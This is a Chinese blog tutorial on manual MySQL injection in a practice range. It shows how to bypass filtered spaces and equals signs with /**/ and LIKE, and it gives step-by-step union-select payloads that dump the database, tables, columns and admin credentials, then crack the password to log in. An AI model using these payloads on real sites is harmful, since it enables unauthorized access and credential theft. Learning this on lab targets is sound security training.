当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。

第一步,判断注入点。

通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。

所以咱们构造如下语句。

/**/and/**/1/**/like/**/1

结果如下图,页面正常显示。

接着咱们再构造如下语句。

/**/and/**/1/**/like/**/2

发现页面报错,说明存在注入点,且为数字型。如下图

第二步,判断字段数。

通过 order by语句,咱们构造如下语句

/**/order/**/by/**/4

页面正常显示,如下图。

接下来,咱们输入如下语句。

/**/order/**/by/**/5

发现页面报错,说明数据库里有四个字段,如下图。

第三步,判断回显位置。

通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。

/**/union/**/select/**/1,2,3,4/**/#

结果如下图,我们发现,2,3,两个位置回显到页面上了。

第四步,爆库

通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。

/**/union/**/select/**/1,database(),3,4/**/#

结果去下图。咱们爆出了数据库名。

第五步,爆表。

由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

结果去下图,咱们爆出了两个表。

第六步,爆字段。

接下来咱们构造如下语句。

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

然后咱们发现了name,password,两个字段,如下图。

第七步,爆账号密码。

这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

结果如下图,查询出了管理员账号,密码。

第八步,解密密码,登陆

我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

MySQL手工注入进阶篇实战总结

判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。

第一步,判断注入类型。构造语句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 发现报错。所以判断为数字型。

第二步,判断字段数,构造语句 /**/order/**/by/**/4和/**/order/**/by/**/5 发现4正常,5报错,说明有四个字段数。

第三步,爆库。构造语句 /**/union/**/select/**/1,database(),3,4/**/#

第四步,爆表。构造语句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)

第五步,爆字段。构造语句 ​ 构造语句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)

第六步,获取账户,密码。构造语句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

第七步,解密,登陆。​

MySQL手工注入进阶篇——突破过滤危险字符问题的更多相关文章

  1. SQL手工注入进阶篇

    0.前言 上一篇我们介绍了SQL手工注入的流程以及步骤,但在实际的安全问题以及CTF题目中,查询语句多种多样,而且是肯定会对用户的输入进行一个安全过滤的,而这些过滤并不一定是百分百安全的,如何利用一些 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. 【转载】C#防SQL注入过滤危险字符信息

    不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...

  4. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. PHP过滤指定字符串,过滤危险字符

    安全过滤函数,用于过滤危险字符 function safe_replace($string) {  $string = str_replace(' ','',$string);  $string = ...

  7. SQL手工注入基础篇

    0.前言 本篇博文是对SQL手工注入进行基础知识的讲解,更多进阶知识请参考进阶篇(咕咕),文中有误之处,还请各位师傅指出来.学习本篇之前,请先确保以及掌握了以下知识: 基本的SQL语句 HTTP的GE ...

  8. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  9. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

随机推荐

  1. Java——JDBC

    今天给大家更新一篇我自己学习Java——JDBC的经验 Java中JDBC是(Java DataBase Connectivity)的简称,由java语言编写的类和接口组成,可为多种关系型数据库提供了 ...

  2. bootstrapValidator验证的remote中data属性里获取select一直是默认值

    budgetEditionNo:{ message:'版本号输入不正确' , validators:{ notEmpty:{ message:'版本号不能为空,请填写' } , remote:{ ur ...

  3. .Net Core WebApi在Linux上启动和关闭

    测试机器:阿里云云主机1核2g 安装环境:centos-7 服务器:Nginx 1.17.1 测试默认已启动 已安装配置:.Net Core 3.1 测试默认安装 连接配置:x-ftp,x-shell ...

  4. koa进阶史(二)

    之前想着放弃CAS的验证吧,但是又去请教了一个大牛,了解到sf公司的CAS验证校验的参数不是sessionId而是另外两个,后登陆sit环境偷了两个参数后,后台接口成功返回200.然后node层也就能 ...

  5. mongoose基本增删改查

    1.安装 打开命令行 npm i mongoose 2.连接数据库 // 引入安装的包 var mongoose = require('mongoose'); mongoose.connect('mo ...

  6. Idea安装教程以及环境变量配置

    IDEA安装以及JDK环境变量 环境变量配置 下载jdk

  7. RStudio终端操作

    转于:https://support.rstudio.com/hc/en-us/articles/115010737148-Using-the-RStudio-Terminal#send 原文是英文版 ...

  8. JavaScript 预编译与作用域

    JavaScript 预编译与作用域 JavaScript 预编译的过程和作用域的分析步骤是 JS 学习中重要的一环,能够帮助我们知道代码的执行顺序,更好理解闭包的概念 预编译 JavaScript ...

  9. 为了弄懂Flutter的状态管理, 我用10种方法改造了counter app

    为了弄懂Flutter的状态管理, 我用10种方法改造了counter app 本文通过改造flutter的counter app, 展示不同的状态管理方法的用法. 可以直接去demo地址看代码: h ...

  10. MySQL数据备份与恢复(二) -- xtrabackup工具

    上一篇介绍了逻辑备份工具mysqldump,本文将通过应用更为普遍的物理备份工具xtrabackup来演示数据备份及恢复的第二篇内容. 1.  xtrabackup 工具的安装 1.1  安装依赖包 ...